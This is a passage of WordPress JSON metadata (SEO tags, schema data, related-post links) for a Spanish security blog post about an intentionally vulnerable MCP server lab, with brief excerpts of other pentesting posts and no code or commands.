\/>\n\t<meta property=\"og:image:width\" content=\"753\" \/>\n\t<meta property=\"og:image:height\" content=\"271\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"david\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:site\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"david\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/08\\\/26\\\/offensive-ai-vulnerable-mcp-server-lab\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/08\\\/26\\\/offensive-ai-vulnerable-mcp-server-lab\\\/\"},\"author\":{\"name\":\"david\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"headline\":\"Offensive AI &#8211; Vulnerable MCP Server Lab\",\"datePublished\":\"2026-08-26T20:42:55+00:00\",\"dateModified\":\"2026-08-26T20:43:01+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/08\\\/26\\\/offensive-ai-vulnerable-mcp-server-lab\\\/\"},\"wordCount\":939,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/08\\\/26\\\/offensive-ai-vulnerable-mcp-server-lab\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/image.png?fit=753%2C271&ssl=1\",\"keywords\":[\"MCP Server\",\"Offensive AI\",\"pentesting\"],\"articleSection\":[\"Gu\u00edas\",\"Pentest\",\"Seguridad inform\u00e1tica\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/08\\\/26\\\/offensive-ai-vulnerable-mcp-server-lab\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/08\\\/26\\\/offensive-ai-vulnerable-mcp-server-lab\\\/\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/08\\\/26\\\/offensive-ai-vulnerable-mcp-server-lab\\\/\",\"name\":\"Offensive AI - Vulnerable MCP Server Lab - Hardsoft Security\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/08\\\/26\\\/offensive-ai-vulnerable-mcp-server-lab\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/08\\\/26\\\/offensive-ai-vulnerable-mcp-server-lab\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/image.png?fit=753%2C271&ssl=1\",\"datePublished\":\"2026-08-26T20:42:55+00:00\",\"dateModified\":\"2026-08-26T20:43:01+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"description\":\"A self-hosted, intentionally vulnerable MCP servers that can be enumerated, interacted with, and exploited using common vulnerability classes\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/08\\\/26\\\/offensive-ai-vulnerable-mcp-server-lab\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/08\\\/26\\\/offensive-ai-vulnerable-mcp-server-lab\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/08\\\/26\\\/offensive-ai-vulnerable-mcp-server-lab\\\/#primaryimage\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/image.png?fit=753%2C271&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/image.png?fit=753%2C271&ssl=1\",\"width\":753,\"height\":271},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/08\\\/26\\\/offensive-ai-vulnerable-mcp-server-lab\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Offensive AI &#8211; Vulnerable MCP Server Lab\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\",\"name\":\"Hardsoft Security\",\"description\":\"Chasing (In)Security\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hardsoftsecurity.es\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\",\"name\":\"david\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"caption\":\"david\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Offensive AI - Vulnerable MCP Server Lab - Hardsoft Security","description":"A self-hosted, intentionally vulnerable MCP servers that can be enumerated, interacted with, and exploited using common vulnerability classes","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/","og_locale":"es_ES","og_type":"article","og_title":"Offensive AI - Vulnerable MCP Server Lab - Hardsoft Security","og_description":"A self-hosted, intentionally vulnerable MCP servers that can be enumerated, interacted with, and exploited using common vulnerability classes","og_url":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/","og_site_name":"Hardsoft Security","article_publisher":"https:\/\/www.facebook.com\/HardSoftDavid","article_published_time":"2026-08-26T20:42:55+00:00","article_modified_time":"2026-08-26T20:43:01+00:00","og_image":[{"width":753,"height":271,"url":"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png","type":"image\/png"}],"author":"david","twitter_card":"summary_large_image","twitter_creator":"@DavidDeMaya","twitter_site":"@DavidDeMaya","twitter_misc":{"Escrito por":"david","Tiempo de lectura":"5 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/#article","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/"},"author":{"name":"david","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"headline":"Offensive AI &#8211; Vulnerable MCP Server Lab","datePublished":"2026-08-26T20:42:55+00:00","dateModified":"2026-08-26T20:43:01+00:00","mainEntityOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/"},"wordCount":939,"commentCount":0,"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?fit=753%2C271&ssl=1","keywords":["MCP Server","Offensive AI","pentesting"],"articleSection":["Gu\u00edas","Pentest","Seguridad inform\u00e1tica"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/","url":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/","name":"Offensive AI - Vulnerable MCP Server Lab - Hardsoft Security","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/#primaryimage"},"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?fit=753%2C271&ssl=1","datePublished":"2026-08-26T20:42:55+00:00","dateModified":"2026-08-26T20:43:01+00:00","author":{"@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"description":"A self-hosted, intentionally vulnerable MCP servers that can be enumerated, interacted with, and exploited using common vulnerability classes","breadcrumb":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/#primaryimage","url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?fit=753%2C271&ssl=1","contentUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?fit=753%2C271&ssl=1","width":753,"height":271},{"@type":"BreadcrumbList","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/hardsoftsecurity.es\/"},{"@type":"ListItem","position":2,"name":"Offensive AI &#8211; Vulnerable MCP Server Lab"}]},{"@type":"WebSite","@id":"https:\/\/hardsoftsecurity.es\/#website","url":"https:\/\/hardsoftsecurity.es\/","name":"Hardsoft Security","description":"Chasing (In)Security","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hardsoftsecurity.es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a","name":"david","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","caption":"david"}}]}},"jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p7xGFx-12n","jetpack-related-posts":[{"id":3581,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/","url_meta":{"origin":3991,"position":0},"title":"PIVOTING with METASPLOIT?","author":"david","date":"noviembre 15, 2023","format":false,"excerpt":"Pivoting with Metasploit and proxy chains is a sophisticated technique used by penetration testers to navigate through a network by leveraging a compromised system. This post will introduce the art of pivoting using Metasploit's autoroute and socks_proxy modules, illustrating how to extend your reach within a target environment discreetly and\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":341,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2015\/02\/08\/pentesting-de-seguridad-comprobar-si-tu-sistema-de-bases-de-datos-es-realmente-vulnerable-a-cve2012-2122\/","url_meta":{"origin":3991,"position":1},"title":"Pentesting de seguridad, comprobar si tu sistema de bases de datos es realmente vulnerable a cve:2012-2122","author":"david","date":"febrero 8, 2015","format":false,"excerpt":"Vulnerabilidad en la base de datos Mysql 5.0.51a Vulnerabilidad CVE 2012-2122, la posibilidad de autenticarse como usuario con m\u00e1ximos privilegios (root) \u00fanicamente realizando conexiones simult\u00e1neas, con CUALQUIER contrase\u00f1a introducida como par\u00e1metro y contra un servidor vulnerable. Al cabo de un n\u00famero indeterminado de intentos fallidos, el servidor aceptar\u00e1 la conexi\u00f3n\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"metasploit","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2015\/02\/metasploit.png?resize=350%2C200","width":350,"height":200},"classes":[]},{"id":1438,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2018\/02\/01\/como-explotar-inyeccion-sql-con-sqlmap\/","url_meta":{"origin":3991,"position":2},"title":"Como explotar inyecci\u00f3n SQL con SQLmap.","author":"david","date":"febrero 1, 2018","format":false,"excerpt":"Hola a tod@s, aprovechando la anterior entrada\u00a0que trata de la b\u00fasqueda autom\u00e1tica de p\u00e1ginas web vulnerables a inyecciones SQL, aprovechar\u00e9 esta entrada para hacer una gu\u00eda b\u00e1sica de como explotar esta vulnerabilidad con la herramienta SQLmap. As\u00ed describe la web oficial de SQLmap la herramienta: SQLmap es una herramienta de\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/sqlinjection2.png?fit=1140%2C600&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/sqlinjection2.png?fit=1140%2C600&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/sqlinjection2.png?fit=1140%2C600&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/sqlinjection2.png?fit=1140%2C600&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/sqlinjection2.png?fit=1140%2C600&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":1873,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2019\/06\/05\/exploit-cve-2019-0708-poc\/","url_meta":{"origin":3991,"position":3},"title":"Exploit CVE-2019-0708. PoC DOS.","author":"david","date":"junio 5, 2019","format":false,"excerpt":"Hola a tod@s, hoy os traigo una prueba de concepto de la reciente vulnerabilidad CVE-2019-0708. CVE-2019-0708. La vulnerabilidad descubierta recientemente, ha sido apodada BlueKeep e identificada como CVE-2019-0708. Esta vulnerabilidad actualmente afecta a las siguientes versiones de Microsoft Windows: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2019-0708#vulnCurrentDescriptionTitle Es una\u00a0vulnerabilidad en Microsoft RDP que permite\u00a0ejecuci\u00f3n remota de c\u00f3digo\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2019\/06\/Screenshot_1-1.png?fit=979%2C647&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2019\/06\/Screenshot_1-1.png?fit=979%2C647&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2019\/06\/Screenshot_1-1.png?fit=979%2C647&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2019\/06\/Screenshot_1-1.png?fit=979%2C647&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":1599,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2018\/06\/20\/analisis-y-explotacion-de-routers-con-routersploit\/","url_meta":{"origin":3991,"position":4},"title":"An\u00e1lisis y explotaci\u00f3n de Routers con RouterSploit.","author":"david","date":"junio 20, 2018","format":false,"excerpt":"Hola a tod@s, hoy os traigo una peque\u00f1a entrada donde vamos hablar de una herramienta que me ha resultado bastante curiosa, la cual se llama RouterSploit. Bueno comenzamos por explicar que es RouterSploit, primeramente comenzar diciendo que esta herramienta ha sido creada por el equipo threat9 y la podemos conseguir\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/06\/4104d18d50920441cd99.jpg?fit=1200%2C799&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/06\/4104d18d50920441cd99.jpg?fit=1200%2C799&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/06\/4104d18d50920441cd99.jpg?fit=1200%2C799&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/06\/4104d18d50920441cd99.jpg?fit=1200%2C799&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/06\/4104d18d50920441cd99.jpg?fit=1200%2C799&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":2810,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2022\/10\/23\/trabajo-de-fin-de-master-ciberseguridad\/","url_meta":{"origin":3991,"position":5},"title":"Trabajo de Fin de M\u00e1ster &#8211; Ciberseguridad","author":"david","date":"octubre 23, 2022","format":false,"excerpt":"Buenas a tod@s, hoy os traigo un post muy interesante, donde voy a mostrar el Trabajo de Fin de M\u00e1ster que he presentado. El trabajo est\u00e1 relacionado con los siguientes \u00e1mbitos Direcci\u00f3n de Ciberseguridad, Hacking \u00c9tico y Seguridad Ofensiva. Introducci\u00f3n Durante los \u00faltimos a\u00f1os, he enfocado mi carrera profesional a\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2022\/10\/anarchy-computer-hack-hacker-wallpaper-preview.jpg?fit=728%2C363&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2022\/10\/anarchy-computer-hack-hacker-wallpaper-preview.jpg?fit=728%2C363&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2022\/10\/anarchy-computer-hack-hacker-wallpaper-preview.jpg?fit=728%2C363&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2022\/10\/anarchy-computer-hack-hacker-wallpaper-preview.jpg?fit=728%2C363&ssl=1&resize=700%2C400 2x"},"classes":[]}],"jetpack_likes_enabled":true,"jetpack_featured_media_url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?fit=753%2C271&ssl=1","_links":{"self":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3991","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/comments?post=3991"}],"version-history":[{"count":1,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3991\/revisions"}],"predecessor-version":[{"id":3993,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3991\/revisions\/3993"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media\/3992"}],"wp:attachment":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media?parent=3991"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/categories?post=3991"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/tags?post=3991"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}